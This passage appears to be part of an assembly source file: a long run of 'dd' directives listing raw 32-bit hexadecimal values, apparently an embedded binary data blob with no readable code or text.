0F74EC6BBh, 0BE621689h, 849C802Ah dd 8A0045D7h, 0F11A5336h, 0F568763h, 0AD7AF243h, 3141E5h dd 5DEE1FBCh, 0EA00A1D6h, 0C351DC6Eh, 1336805Ch, 423011Bh dd 0C0BE6C31h, 0C10ACE08h, 1E248200h, 374402D3h, 0DF780053h dd 0D512A210h, 55FCD94Eh, 79BEF702h, 60D2630Ch, 57F850h dd 0E225906Eh, 0FC421073h, 0EEB97C00h, 0E7B44775h, 9F3B0167h dd 0DF666BC9h, 0A0DF44A9h, 7225EEFCh, 27B0B42Fh, 12F0223Ah dd 0D72E1B1Fh, 7D354AC0h, 2054FF8h, 0FDC9ACF9h, 1C03466h dd 0B24CC714h, 0B9BB0050h, 1E285106h, 8D712695h, 9889B98Ch dd 6809321h, 906692FDh, 5B84201Eh, 0FA4BEFC0h, 0EC27EB99h dd 0E6B15C33h, 5E4D4801h, 50803D43h, 2C383BF4h, 7A845C01h dd 64350699h, 75E123F8h, 45D900FDh, 0B95C83F0h, 42007DB8h dd 35BA5444h, 0E19899h, 0A22E1AEEh, 0A55E0D31h, 66008874h dd 74720910h, 0EC0405AEh, 6E73070Eh, 21C401A4h, 0CF25853Dh dd 0A8C7ACD8h, 3184D200h, 0AA09E5D7h, 0CCFE46h, 5A47E097h dd 1F74811Bh, 632DE300h, 5E7DCA30h, 0E4AD7E65h, 5F00B656h dd 0F0F01190h, 812E6AA7h, 91408044h, 840B17h, 5E1503A0h dd 0DF37A54Dh, 42E953Dh, 456A06C0h, 9DF07080h, 34173FC4h dd 2B0C2D07h, 0EEB81046h, 0E800FBFEh, 0DF24A70h, 2C80E0h dd 0A6DE6FCDh, 954109C0h, 0B1EDEC07h, 0FD30A096h, 0B8B985Ah dd 183CF6EFh, 306AE707h, 2F2A124Eh, 0DED7F407h, 0C262A7B6h dd 72C44092h, 0A0344936h, 9501A838h, 0CDFA370Bh, 38D881C5h dd 0EFFCBC8Ah, 278570h, 0CE5293E0h, 26D8A892h, 0C8AE2E00h dd 0EC8A37C0h, 5EDB00AFh, 0AB3938Bh, 92017928h, 0C221D343h dd 42D4F67Ch, 58C9E252h, 400081CBh, 2AEFA51Fh, 2F001CC0h dd 0A4828460h, 3751636h, 0B1885835h, 70B787E7h, 784D19CDh dd 737C8100h, 0D3C121E8h, 38E8CFh, 0E6F935C0h, 0A3D2F764h dd 87746200h, 0EF367348h, 0B57483h, 21F0F67Bh, 0B0942AB9h dd 0DCC8AC02h, 58CA4A13h, 0F9894C8h, 6884D4B8h, 8C1EC054h dd 12002266h, 9639C280h, 4C878D4Fh, 56003E0Fh, 0A951505Ah dd 210E26D0h, 60636055h, 0A47B2213h, 0BAC65CAFh, 8464B000h dd 26485C12h, 977EB81Eh, 0DDACC0C0h, 0C6BCE8h, 758580F3h dd 3144865h, 0FA0FF57Ah, 0BDF75Bh, 9840C75Dh, 7EC90C0h dd 522F13F0h, 0D6F53054h, 0C80B7BD8h, 0FB0EDFh, 3993554Eh dd 5A2E0507h, 0E1D265h, 0F6AA86DCh, 58035137h, 829F1398h dd 60A58247h, 185E40h, 0DE508C4Ch, 4D44ADC6h, 9E263300h dd 743488ABh, 2CA80163h, 1F7D29E8h, 4052E11h, 0D4C0CE9Dh dd 0F403566Fh, 0DC00053h, 4CD7C4Ah, 54772287h, 8503C673h dd 39BDAF7Fh, 0F374D86Dh, 35200E4h, 0C11AAACCh, 167A6954h dd 6C62A800h, 0C56FFB32h, 0AF030086h, 7E3B710Dh, 900017FCh dd 49BACAD8h, 6ADDBDh, 47D6467Ah, 0EABB75DBh, 5B09A50Fh dd 7FC9E0FCh, 1393F737h, 0B5FF91h, 0A0BC9AE0h, 0D500C230h dd 0DB9F9B32h, 0FCF420Ah, 4877196Ch, 88DA1F60h, 4926E961h dd 0E11FAAD4h, 43C8400h, 3FFCF4C9h, 0AD80B54Dh, 0CED1E5EBh dd 910F8B4Eh, 8E810D1Bh, 9F2862CDh, 0B8FC680Ch, 0E834AD1h dd 5940AD50h, 0F65BDD0Bh, 90FDE400h, 0D9DED109h, 33DF0AFh dd 100CDC54h, 96988F80h, 820020E5h, 0C269EDB2h, 0A4F8C1h dd 0E23B98EAh, 0A1A69AB4h, 430248h, 0B6892B39h, 5C9C371Ah dd 4051A5B7h, 0A5020032h, 2F23A243h, 0AE35140h, 0FBE69E0Eh dd 0F7E580C3h, 3E25B36Fh, 1B2A773Bh, 2C59E4E8h, 0D0B943h dd 551926C1h, 8E0087C8h, 71938AC9h, 7D6BE6B7h, 0CAD300F4h dd 0FB725DD2h, 0AE28ED5Eh, 890AAA25h, 0D72F6CDBh, 947E1600h dd 0A6915Ah, 76627283h, 0C1B2DCD8h, 71207817h, 1681C440h dd 1D7CA6A4h, 0C0734185h, 956D919h, 0D50024C0h, 8D9508E3h dd 1CFF4D1h, 3A9B0BA0h, 0E01F8EE0h, 0CE0E0E9Ch, 87A554A4h dd 0B1B15AFCh, 34203665h, 0A2C600EAh, 0DADD3079h, 1203F911h dd 0CC6DEDA6h, 3E82C041h, 31B7183h, 68AACBCh, 308F745Bh dd 6F270935h, 0BF991700h, 987D7A69h, 0EEDE0096h, 0F68B6553h dd 5F0087C3h, 0FB833041h, 909DE957h, 6B163CC0h, 409BD19Ch dd 337FE463h, 0BD1E8E66h, 314036FCh, 7A89274Dh, 349EBFh dd 760D3EC9h, 4800D78Dh, 0A290D124h, 0AC7483h, 0F2C20FE4h dd 0AF70308h, 0C4C58424h, 25809E1Fh, 0D83CAF38h, 72622E61h dd 0A41C81A4h, 80F601C8h, 0A1A99628h, 0BAA0179Dh, 9C6500C8h dd 4E54D252h, 7100E026h, 0DE2D691Dh, 0F2BF70EDh, 41F4D8h dd 0D13405E3h, 0EEDB1B5Dh, 813FA501h, 6D52E092h, 0F63CFCh dd 5BFF8874h, 60BC576h, 6C11A303h, 0F0F32395h, 1E3DDBA6h dd 72EDC1h, 1A5D3E09h, 0C50454A3h, 774F4D0h, 0A76B9CD0h dd 0F0674EAh, 4DCD10C9h, 5E1B5540h, 1A079CC2h, 32C585E1h dd 0DBC0AE37h, 24676C0h, 97FDFA8h, 784016A0h, 0EC004791h dd 41D59CEh, 0D5C301h, 0B6813049h, 357CD07Ah, 1E70C39h dd 797E6572h, 0A06ACB61h, 76002D83h, 9A3A137Ch, 6DE127h dd 0F3B3F04h, 0F0F8A735h, 0F625BF17h, 27B5E400h, 12E4E610h dd 803DF71Bh, 3C72D44Ch, 0EB02F5Ch, 61209BB7h, 0CD054C3Ah dd 5D3D70h, 8F755012h, 60AA062Ah, 0B5B3E00h, 8DB807A4h dd 0B9C303E8h, 0D6D7E33Ah, 0FC4FFE89h, 6A12B475h, 0A8807C61h dd 0D52308h, 3C07961Bh, 76C80D95h, 6322C400h, 4C034A68h dd 884950D6h, 1C5401BBh, 0AC1BA929h, 5CD1D38Fh, 0C92C703Bh dd 130B0400h, 79BEC273h, 2E28002Bh, 0C87F0EEBh, 4000184Ah dd 0B38FBBA1h, 30CAFCh, 905865F8h, 69127A82h, 961E0900h dd 8A2C0AC3h, 0DFE23AFBh, 332DCA00h, 0F3376714h, 1FE59913h dd 77F6AC00h, 0CB5C2Fh, 0D0E3448Dh, 40FB2D4Dh, 800F4B3Fh dd 736A97E9h, 0C6A0ABh, 9F2A590h, 0BDB026F4h, 39CB1500h dd 9D8E8F86h, 87D7005Bh, 6E3DD18h, 3D243A25h, 28000910h dd 81507D6Bh, 34C10391h, 796A9BD4h, 0FC46E80h, 30241000h dd 42CD610Ch, 0EAE300CAh, 361911AEh, 0ED0035BAh, 0BEF2063Eh dd 0A7DB3Ah, 0FFE3E46Dh, 201D2B9Fh, 0C33058h, 0CC823570h dd 203C09Ch, 68663B2h, 0A960AF01h, 18B0A94Dh, 31D343Bh dd 56458962h, 40FCAAA7h, 3F1FE86h, 99BD6987h, 9CD0F994h dd 0BF000471h, 141EB3D7h, 0DD4DB1h, 0C8DAE6B6h, 84F25889h dd 0D35F4614h, 62EA24DDh, 88157F00h, 778F1F1Dh, 75110047h dd 9BB53A67h, 35004F71h, 0D0C9E072h, 0B81AFFh, 0EB56B60Bh dd 8C09DA31h, 0DE0AA715h, 9B0D0FD3h, 80D84035h, 69A6F9h dd 5E8EAFD5h, 0DC0E3AB6h, 81B97F01h, 4D36D2CEh, 0A432F4h dd 0A67D0D8Ch, 0AB93CC3Bh, 57ADAF0Fh, 5EE8034h, 0B815E0A5h dd 275D0E3Dh, 2EE00BE3h, 833CC33Dh, 457BB1Ch, 0ED56A740h dd 1824133h, 0DD8469Ch, 0DC36E6EBh, 6D00256Ch, 0B8C4E4D5h dd 2DACA464h, 14F8424Eh, 0A90083EEh, 8BD72007h, 0FA759D48h dd 1FA77317h, 5C9B9Fh, 8119681Dh, 16077904h, 0C5318BA0h dd 0D8541BD0h, 0C4F7003Ch, 0F923307Dh, 74001E7Eh, 0C82C6FC9h dd 0DA5C02h, 686518DCh, 24283FCFh, 780A1F00h, 0EAB62A13h dd 2DE939CEh, 0F487EB27h dd 8B500199h, 3E3880DEh, 0D338AB6Dh, 68FB0F1Eh, 39A0E16Ah dd 4E990863h, 80726439h, 50F70A21h, 1CCBF2B9h, 819ECAh dd 78E303E0h, 0F3009787h, 52DF1EE2h, 376D663h, 0CF81A7BDh dd 0CCA37F83h, 0FC680DFh, 8A1F4A3Ch, 0E4008852h, 0CEC41FA0h dd 0E6923702h, 96DE60A0h, 0D5016AE2h, 0D2A7DC2Bh, 5ED0DD86h dd 18CF6D6Eh, 0E431E059h, 0BF0034FCh, 451A8AAh, 0EE3F3D7h dd 6AA1E196h, 0A83CDA0h, 0EFE2B75Bh, 0B5615BB8h, 16804E89h dd 800EDE7h, 78FCD96Ah, 984F00CEh, 0BD81B084h, 0C7029A71h dd 0D9DB54C2h, 80548038h, 3A4E685Bh, 0BC145624h, 3CC0643Bh dd 0D89BC7A4h, 0DDE48404h, 0A5C0017Ch, 0F9D8905h, 36EC0214h dd 8A60D0EEh, 9288C6FCh, 34F07902h, 0E0B6D577h, 7144B3Fh dd 157006EFh, 3337F0DAh, 0D7070C24h, 820F3E5Bh, 38E4F360h dd 0EA3C1FA8h, 1D9F80FDh, 6162C8A1h, 710B1300h, 2B6F5294h dd 776A0155h, 35B15831h, 0A35FC4BFh, 0DD646500h, 230DEBAFh dd 472D034Ch, 53253977h, 0D9002EE6h, 0A18B85C1h, 1B04640h dd 0B8F96A05h, 0C0625AEDh, 44075E24h, 59E6F5E5h, 6986E9F0h dd 8E2D0F9Eh, 882011B2h, 607533F0h, 0CC79CF00h, 7B0DF501h dd 8515011Fh, 0D5F676BEh, 80A9706Dh, 60894300h, 620681E6h dd 0B6362C8Ah, 3A2D0063h, 0A0AD4164h, 1D034401h, 308099B1h dd 0F46E0C4h, 248F3468h, 2FB8DE20h, 27037B6Eh, 6B70D163h dd 0E084A0B9h, 9486310Dh, 8C335E69h, 1108BBD8h, 47671CDh dd 7519AC69h, 0FE4280FAh, 20C026E7h, 0F1A68D21h, 0AAE90E50h dd 24E3DFE5h, 96B02F15h, 9973DE8Eh, 47D99205h, 8B1EA4E2h dd 34EDD40h, 605143h, 3672B159h, 0B03714C0h, 687FEF00h dd 0C6632BEAh, 3AB50732h, 0E0B8D073h, 96A8D3A4h, 0C54798C0h dd 8C425h, 52587202h, 2F8B2B35h, 26306B00h, 22C56238h dd 466519FBh, 0EC338AE3h, 8D0E6729h, 58E13BD5h, 0BE6F91h dd 347D1542h, 876BED1Fh, 0A8C9CF04h, 2D82D89Fh, 97A44035h dd 1FEE7927h, 40056283h, 4C0B542Ch, 7F72BA75h, 30A15C07h dd 0A2C0C521h, 73EF7EDh, 0D6B87E04h, 9C9F4303h, 72A52001h dd 0C468E585h, 1A055E0h, 7B42FD9h, 20B080A6h, 3E00430Ah dd 0C6D80E42h, 0FE86ACh, 0C9F6F946h, 0EA73B8D7h, 0F3527200h dd 0BA09B00Ah, 0A18E0041h, 9E9212D8h, 21000FD9h, 69D32B64h dd 3AE2302Fh, 6E3E565Dh, 0FED96500h, 0D8EC940Fh, 5169EF00h dd 0F34FE410h, 553E078Eh, 867E53C0h, 6500B09Dh, 0A9847894h dd 0DB2FBAh, 9223E0F6h, 413D7544h, 6822F909h, 314C0CA8h dd 37DC0079h, 0D144F37Ah, 56063A5Ch, 35E85B5Eh, 5D60FB20h dd 276A00A5h, 81F387C9h, 8C0C0DC3h, 387EC6E1h, 0B0F000CAh dd 57E3228Bh, 4F09AA1Ah, 80ABD3F8h, 0B341A4BFh, 82EF1CBEh dd 80511DE5h, 9C013A2Ah, 0E800D970h, 6F37A550h, 0EFD0D9Fh dd 457233E7h, 60C7932Eh, 0A5E3D066h, 0BB00EB61h, 0B3ACC15Ah dd 0E8BDCB30h, 32B10019h, 4B8B9447h, 0DDB858E8h, 7AD89D13h dd 0C6564200h, 0E24279h, 1EEAF338h, 0F0DF0BFFh, 23722F00h dd 0AAB66ABCh, 15C90087h, 0CA117DEh, 0DB00F0E0h, 88F3E866h dd 6F7C59h, 9553AF33h, 9F6C08D7h, 48FC4830h, 0E06928DBh dd 0BCFA00EDh, 580FA684h, 109A482h, 81FC3715h, 0E1ABDA63h dd 1B2A2E8h, 0DC53F6BBh, 0C496D31Bh, 0FD00C25Ah, 19FB0E16h dd 39AB454Fh, 77C88Eh, 0D3D1DC43h, 0ADD3CA1h, 8C146901h dd 0F9AE1E10h, 0F7F16C8h, 4321080Dh, 0C88086AEh, 0AB51DA7h dd 41352A00h, 3A9646C1h, 6CA5384Ah, 4E8E187Ah, 68EFA876h dd 9786DB00h, 30B2D5E9h, 0A8990090h, 16EEC5C1h, 930733DEh dd 45967A50h, 22B55580h, 13FE8Ch, 0FCD4A891h, 21B1EB18h dd 40904C00h, 0BB3F7864h, 0C471CAh, 58B3A8CBh, 0FA8C10D1h dd 0E135180Fh, 72A900B0h, 3C44EDEh, 0F3F7B5EBh, 0C0F763A2h dd 0FFCC1610h, 68CD9A00h, 8A4D6D2Bh, 28A5629Ch, 5000A3B7h dd 0E96F2Ch, 0C7FE8C13h, 40289F03h, 0D310101h, 3A5EDD2Bh dd 73D547E8h, 9B5F00BCh, 9EF175AEh, 82000D89h, 0D0CBA4E6h dd 44FD4Ah, 0CC283A8Fh, 0F1014D30h, 45BA8400h, 3B2C9504h dd 57AB002Ah, 6F7FB667h, 90000D20h, 0A5EBD1Dh, 0CC157Dh dd 86F8B778h, 35F03E03h, 13FF5C00h, 6CA6EB66h, 2A78011Ah dd 83B2F8BCh, 0A8DBE447h, 92706501h, 9CE644B6h, 4246006Eh dd 470AA1F8h, 0A4E03Ch, 49205371h, 0D00B11h, 9144ABCCh dd 1B32386Ah, 0AAA90503h, 806B9DC1h, 8753DCh, 0FF19D048h dd 3F9C3EA7h, 7B953600h, 27C8F172h, 0EED0E232h, 7F990E9Bh dd 0ABA064F8h, 6E398ED1h, 300CD90Fh, 0BEC50010h, 2F6F69h dd 0AEAC4F17h, 0CB469D3Fh, 0B12AA700h, 0D98C649h, 0BCF907C2h dd 0E0BD979Ah, 3815D846h, 1D3DB9EAh, 0D14C837Eh, 8853E802h dd 13334F4Bh, 1F7959D9h, 0A1807FD4h, 93881ADDh, 0F8006348h dd 6E25CC20h, 0EDB3Ah, 17ABA454h, 2F8E71A6h, 0F632FD00h dd 790BA30Dh, 1E6A7406h, 976B8F03h, 0D9770166h, 60C32068h dd 0F505D6AAh, 6101738Ch, 51E574C0h, 3B4F742Bh, 69002018h dd 0E30BE041h, 0C4006E11h, 57C134CFh, 3F0DA43h, 41495F3Bh dd 87C0B251h, 0A6002DC4h, 0B171D3B8h, 0A468D4h, 119D02B0h dd 0B493CBECh, 0D299000h, 0E09BC2BEh, 6FE31F2Ch, 264CC3D0h dd 0C9E022D8h, 0EE0039C5h, 59E958Bh, 14DA81Eh, 6D7BE85Fh dd 0F49FF2BEh, 5A0760D5h, 0C37E3BE3h, 0CED45F40h, 7553008Fh dd 9CD1474Bh, 76008D33h, 0B54551A2h, 0B4140h, 32F05F9Fh dd 3B9EB8B1h, 0AF79701Ch, 0FC056EE4h, 6CC0589Dh, 46F930h dd 562D83D4h, 11317ED1h, 0E32F9300h, 89C84560h, 0D3FA1329h dd 2B4C00F6h, 421D7D3Fh, 0F522D60Fh, 0F975C3DBh, 0AE09D819h dd 0F81500FFh, 65331C7h, 9100660Ah, 951B79EDh, 90A36E3Ah dd 3BA2006Bh, 9B5E753Fh, 0BB000FB3h, 5A314610h, 0EA29A9ADh dd 0F66600B9h, 0EF8D9EA8h, 0D1009933h, 0A37AFC71h, 483621h dd 1E52E2DAh, 6B8B092Ch, 0F7006CE2h, 35D084F9h, 259C90BBh dd 3E4025C8h, 504C0801h, 806805D1h, 5FC3CF89h, 0F990E782h dd 7B4B1090h, 2B323F98h, 659C170Eh, 0DFC23140h, 0D503A814h dd 0F518683h, 9BDAA839h, 0A291006Dh, 473B135Ch, 110EF0E4h dd 871D57E2h, 0F90716h, 0CA22AE8Eh, 0C6FC1EBDh, 0AC829218h dd 4B760065h, 7795F183h, 58B80005h, 0C26343EFh, 0A1757A86h dd 0D7A8AA00h, 22E29D65h, 0EEED004Ch, 0A76F9C2Ah, 0E700313Dh dd 693FE435h, 2EFC258h, 0C3079DF1h, 9CA00415h, 0E47CB6EBh dd 0C0ED10CFh, 7F0399FCh, 1B59008Ah, 0DA69FB19h, 750E9230h dd 202E90C1h, 28DFE47h, 88D600EEh, 46A20FB2h, 661EF5BCh dd 4207994Dh, 0A1906C93h, 9F9A28h, 822DEF32h, 0EA8841A7h dd 50588EE0h, 42386Ch, 467759CEh, 2C7EE382h, 269633h, 6948DB61h dd 9C3A72BFh, 434F00A1h, 21A0FEBBh, 0B42307FBh, 80DB766Dh dd 0CFCCA994h, 6F517800h, 0D777DC39h, 1997810h, 381615E9h dd 0E8AF315Dh, 240054FBh, 0B39ED220h, 0F491D14Dh, 957449h dd 6CEC93EAh, 81FF98D6h, 1EC25D06h, 72CCD18h, 7609A180h dd 0CFB7C13Ch, 2062615Ah, 7B744F38h, 0BFD0823Ch, 4405F8F7h dd 1FC7CD21h, 61EE0C80h, 0C05F003Dh, 0C31A48ABh, 9848966Eh dd 31870058h, 539DE7D5h, 0C1EC04h, 0E93D2183h, 2C5DCADCh dd 80657A3Eh dd 0E44AE5Eh, 0BD7FCF3h, 471C1988h, 5D847000h, 0B400B2EFh dd 0C607571Fh, 2DDCA4h, 2391BAF4h, 0D00A46C0h, 885AD801h dd 0A64C2CA2h, 63A7E0h, 4FF8D411h, 0F7943AC6h, 0E3DB0C00h dd 19564187h, 8EB50065h, 51B22D8Fh, 76005A2Ch, 2BB3D494h dd 9C654h, 98A8BFA7h, 8EB9D019h, 4200DA7Ah, 33864041h dd 395E4464h, 2800A7D6h, 17D4ECF4h, 63023F0Fh, 0DA0D0EC1h dd 86F0407Ch, 59130042h, 0AE4055BDh, 0EB7A3B28h, 74C42600h dd 0F8D0E0DBh, 139D03DFh, 76F3F089h, 41F5E797h, 70939C91h dd 15003272h, 3337A06Dh, 0F0B20DFh, 0D3813E44h, 0C9663640h dd 6F126B18h, 211CB62Bh, 89DC9900h, 0C3FD8Fh, 38FCD0E2h dd 3F42949Ch, 195DA502h, 608FE80Fh, 24284FBCh, 6898Ah dd 41EFDE3Ch, 0D4A09C01h, 4F0094D0h, 0EA7574CEh, 22C468h dd 373CFCE8h, 0ECAAC135h, 645C0E00h, 97F78626h, 52460017h dd 36FE24E0h, 8F009BB6h, 0E6D08575h, 72D4F96h, 455751CDh dd 0F7DA7034h, 93F20C06h, 0F22F1116h, 0C9EC8807h, 5D2D5470h dd 5BC30027h, 172015B3h, 0E8388CA3h, 214E8B9Eh, 8D9800ABh dd 0C08E465Fh, 3C47CFC0h, 85071DB2h, 0F7972662h, 7D05877Fh dd 10B7BAE0h, 55E40071h, 92DA8CDCh, 4F00F5D2h, 5E1BEEABh dd 0F88B681Dh, 71CE003Ch, 3F18D43Ah, 100DEB0h, 8D1EA72h dd 738858Dh, 1C811362h, 4B0730A1h, 68C39CAAh, 0AB2AD025h dd 54D6F04Ah, 265F01E8h, 501FC048h, 4D8880DCh, 0F741D9E9h dd 249CFA3Eh, 19FB738h, 26817BC1h, 0CCD8D1E5h, 50183627h dd 85E97E6Ch, 0D789444Fh, 0FDB24006h, 206B3Dh, 8C7CA0DFh dd 0BC90AB92h, 3F562358h, 0F68800E7h, 0D5F7D0EDh, 722800A3h dd 0D6B4AA60h, 0A4005233h, 1062AE5Bh, 0A22B65D2h, 7EAC2084h dd 5FDD1Ah, 4E0E6F2Fh, 36CD0D82h, 3FC01F03h, 0DBAEA1h dd 0EA834928h, 30500FD8h, 5090D230h, 0C6A803h, 2FB01D68h dd 24DE7DBBh, 816CC13Fh, 0D2486D5Eh, 0C2D5ACB9h, 0E6484CEBh dd 9E9B2F00h, 199221ADh, 980A901h, 8BBAA0F7h, 366DC4h dd 0F29A5B0Ch, 76CBDABCh, 0AD41E116h, 280E8F07h, 66042079h dd 39C1DCDFh, 1F80483Fh, 30D46E0Ch, 23009B3Dh, 6D536419h dd 0A71446h, 0F9C6107Ch, 37E51E35h, 5030D200h, 0B6555840h dd 4050DD95h, 156A8DD8h, 0DD0EA7FDh, 0F0232Dh, 8BEBA6D9h dd 909A181Eh, 0CC1CC880h, 880A9C0Ch, 1A80E4h, 0FD2E9EEh dd 0C5F04F7Ch, 79B50400h, 496C2DB4h, 0FD130050h, 8B7C9DDEh dd 8C123347h, 0B200C3B2h, 99871CA6h, 7ECD2EB6h, 9DD30029h dd 6E39D649h, 92FD3A00h, 0F21AC6EDh, 6A972CAFh, 278700C6h dd 0B3D3DEA0h, 0F4AB8203h, 0A828F2A2h, 30866479h, 5F598134h dd 7500A835h, 3ECE05CAh, 0FC07F6EEh, 1D3600D3h, 1813F54Bh dd 0D2012D27h, 0EDB1F2AEh, 0A301983h, 0DEE93CDDh, 80C8A814h dd 0FB530C00h, 0E1F21F56h, 0BD2F800h, 0EC740F83h, 5A7FDBh dd 0F4D0A07Dh, 102A336Dh, 1D64FD00h, 0C471231Ah, 3C73D94h dd 83D6B00h, 7D3E2A49h, 0B8B55A01h, 0C3D770A7h, 0C855F4h dd 75913F0Bh, 1FB0D971h, 2159511Ch, 0F70058EEh, 8B762E63h dd 7528A4E9h, 0CACB1D29h, 44468050h, 0D22A40ECh, 0E713F000h dd 7A274319h, 0EDF40007h, 85E42469h, 8700773Fh, 5B76020Bh dd 76A529DBh, 1B3A00C2h, 36C751FFh, 970072AAh, 95BA1232h dd 0AA013A5h, 8923650Dh, 841B7020h, 0CF0CEFh, 69736AFAh dd 0EC25E4B8h, 98B8800h, 1641A4EEh, 0C8C30068h, 0C0B4187Ah dd 48C02AC6h, 0F256D40Eh, 31CB005Eh, 1AEEE24Fh, 3F393C71h dd 0A8E40EECh, 7A76A778h, 0B62DA08Eh, 0FC3B749Dh, 0F38118BBh dd 6E0B0877h, 0C75C5100h, 0AAA4A50Ch, 0CBE41E30h, 0C97BC170h dd 0BE1884ADh, 261E0028h, 503A8691h, 0A3FF7994h, 308385A4h dd 1658003Dh, 0FEAF13ACh, 0B979CF26h, 0A558B01Fh, 0C8915E00h dd 18830ECBh, 0B826DAFCh, 470094FAh, 0C58AC45Fh, 5741A332h dd 0A50380E7h, 719242F1h, 2568D4h, 81BABF3Ah, 0B5C960F1h dd 0FAE96C01h, 2AAF1412h, 2EF080C2h, 3DF310F4h, 1B8FDC6Dh dd 9B609D75h, 3FFDB9BCh, 6BE89260h, 48A8A6CAh, 45001441h dd 0AFCA5E0h, 59EEF92Bh, 50F42004h, 24913B80h, 0E2CAD59Bh dd 10201CA4h, 0C07BC8D0h, 6A52E46Ch, 25391801h, 3616B8C1h dd 41E9A91Fh, 9600CCE8h, 5D701034h, 1F53A2F9h, 63674B3h dd 6873E983h, 10F0EA00h, 685E5B01h, 0B4B800EDh, 0F5266C72h dd 0B1E03C6Dh, 6B0D4900h, 5D8315BBh, 0AB180060h, 0B316FDBFh dd 8E00A21Ah, 3EFA7242h, 0ECE83AE6h, 0A8E3006Bh, 93D6C481h dd 4EC1BD51h, 453F9633h, 17D2D5C8h, 0C602EAh, 0E21CCAC3h dd 8A1DC924h, 2000AEF3h, 0B0F4418h, 32990013h, 0E2A0613Eh dd 5C005D7Dh, 821D49D0h, 17B1CA16h, 954A5BAh, 20201E5Ch dd 0C05FACA4h, 40928100h, 0CF3A2E52h, 7B8500D1h, 0EAA5AA50h dd 943A537Dh, 69CA0021h, 88C0729Ah, 718F00DDh, 0DB31F441h dd 0B7003D64h, 13895C44h, 3A77AD08h, 0B4813393h, 0F429D334h dd 1A9070A3h, 0B2F83000h, 72114335h, 603C0739h, 80826Ch dd 0F5F361E5h, 2B8B3Eh, 0FA7D430Dh, 0F2E6F8h, 0E167AFA5h dd 3A08BBE2h, 664B3C30h, 3870541Dh, 3506B0DBh, 21AE5D72h dd 0A72FE400h, 0D640FB89h, 10EB0C5h, 659169E2h, 0D04516B1h dd 0FE13C8AEh, 8200C307h, 266A51B7h, 3C3B3A06h, 73D704F2h dd 0BAA6C2FCh, 0E736C7C0h, 0A0B600EAh, 2E514E32h, 3300CB3Ch dd 2C31B1F4h, 98DFC57Fh, 18B4006Eh, 4CBA2A48h, 970015A4h dd 0E9A84E9Dh, 0D5088Ch, 3F2BB10Ch, 76E0B6A0h, 8642A100h dd 0A95C3013h, 70FE7Dh, 6032AA53h, 0C7A3AF46h, 63D40901h dd 646C4230h, 33D208F0h, 94F09222h, 4AD17980h, 0DBDA4D50h dd 19663B0Ah, 12809888h, 38EA6102h, 0FE991F28h, 0D967408Ch dd 83AC3423h, 0E0DD0800h, 19609FAEh, 885600FCh, 0BDE20506h dd 17484279h, 0CC30007Ah, 28297065h, 0FFD31461h, 1500A07Eh dd 2C48108Fh, 2EEC86ACh, 0ABB1F0E9h, 8FDCB33Ah, 0E008E185h dd 30B6A556h, 84E20789h, 0FC64A44Bh, 0BC1ED738h, 97E5FF1h dd 16C12Bh, 0B17F5AC5h, 7D390FC7h, 0F8E04419h, 0F32E598Ah dd 56107E03h, 9E354DDFh, 0C4480488h, 333D76h, 9E981A9Dh dd 0F930C0C2h, 19C3A040h, 1F50D0BFh, 275C5A8h, 0F45B82BAh dd 0E7AD41F7h, 1D74FBFCh, 0CF22954h, 8611C1E2h, 55E02D00h dd 0CFF5F082h, 0C048DF41h, 4C331AACh, 20A4BC8Ch, 0E0944809h dd 0EE8085D8h, 0B5E11802h, 3A149380h, 0A815E858h, 8100147Ah dd 0E59C928h, 8C5607Ch, 3060D045h, 431DC720h, 4AA10381h dd 0CBAE6951h, 0B34EA24Fh, 0C0700D4Ch, 47C981BEh, 2700EFE7h dd 0CE0C3345h, 38084468h, 84C55050h, 0E2DE39C5h, 7A483070h dd 1450E5A7h, 3C72027Eh, 17826C33h, 0A127CE62h, 900A9CB4h dd 20C60682h, 45099E84h, 58A0B60Ah, 0ED2A61C0h, 3E01186Dh dd 0EC336A62h, 3058BE87h, 64C853B0h, 0F6205E07h, 0CF189A8Ah dd 9D2B7321h, 0FE2885EAh, 44285305h, 89680F40h, 0C5F019B7h dd 7C0B81Eh, 0C5BDA58Ch, 20EDDF0h, 62CFE2B0h, 70C1EC96h dd 7B68B9DBh, 0DE4F488Ah, 0AC8800D0h, 0AE4A6F1Dh, 0B5507090h dd 530F8CD4h, 0A2E622Dh, 11C148BEh, 4916FC64h, 8906C2E4h dd 0B2A44E8Ch, 38665888h, 63FDCC00h, 0E495CE69h, 974E6205h dd 502C8AEEh, 0BCEC29BBh dd 2B7E052Ch, 82B83972h, 12845988h, 219E1834h, 2E8C2A0Ch dd 0A1F3914h, 68AE759Bh, 226C07DCh, 53ACC3C1h, 0F42CA803h dd 0C80C4828h, 3A6E6965h, 0E00434Dh, 8E620317h, 0A4A57FF7h dd 0DA1C3E61h, 0AD585087h, 75DBC21Dh, 732A485h, 0DA674C84h dd 0B0781588h, 1458BB24h, 79E1F86Eh, 5E6C4C7Fh, 2C993226h dd 2D57A801h, 0B0517C0Ch, 18B89C81h, 73CC5124h, 0ED33B015h dd 7DFEC2ACh, 2E8C868Bh, 748C5648h, 0D2018862h, 961E1C98h dd 6E754207h, 96F98AB3h, 5B70C570h, 601E96h, 1E41F924h dd 0CC132D29h, 88785EACh, 93610403h, 0C0B84AFFh, 6B3BBA84h dd 0BD601891h, 2664F740h, 580B790h, 2C6E7189h, 0B4F650A8h dd 809A36ECh, 75EAE300h, 8CC6D74Eh, 0D45923AEh, 0DC2A9C00h dd 0C56FA3Ah, 0B0F4A202h, 38D17EF0h, 4C78C018h, 0CFFE2E79h dd 6E4A9CE9h, 5ECEE358h, 846604D9h, 41A86188h, 0B028B885h dd 0EADD0393h, 2E6A9C8h, 218DBF89h, 113C1858h, 29B0C498h dd 2202D205h, 0E4048CEDh, 80CE41D1h, 18945218h, 20F4A62h dd 237EA2C2h, 0E8C4E90Eh, 90BB794Eh, 0E1042998h, 35384360h dd 57243BC8h, 4CF024Ch, 0DCCE6E95h, 964E9B80h, 24AEF07Dh dd 72D8BBEDh, 28DE7C83h, 62828132h, 8108C548h, 0B35F6660h dd 8F3C642Ah, 4F1D9602h, 0B894D75Ch, 155EC24Ch, 0C0F33BB8h dd 0F0261C14h, 1C49612h, 1D8F078Ch, 2A04AAFh, 8E0DC81Ch dd 0AFC8A62Dh, 6DEE0A38h, 5BB8283Fh, 220757D0h, 53CC0241h dd 106E4C5Bh, 193686B0h, 58B8D814h, 80C442CCh, 1B9BD510h dd 0C1B0C0F0h, 8C2840A8h, 0E0B8146Ah, 4A9CAE59h, 0E2783152h dd 1430A679h, 129BE958h, 6F984A9h, 586A825Ch, 7387ECA5h dd 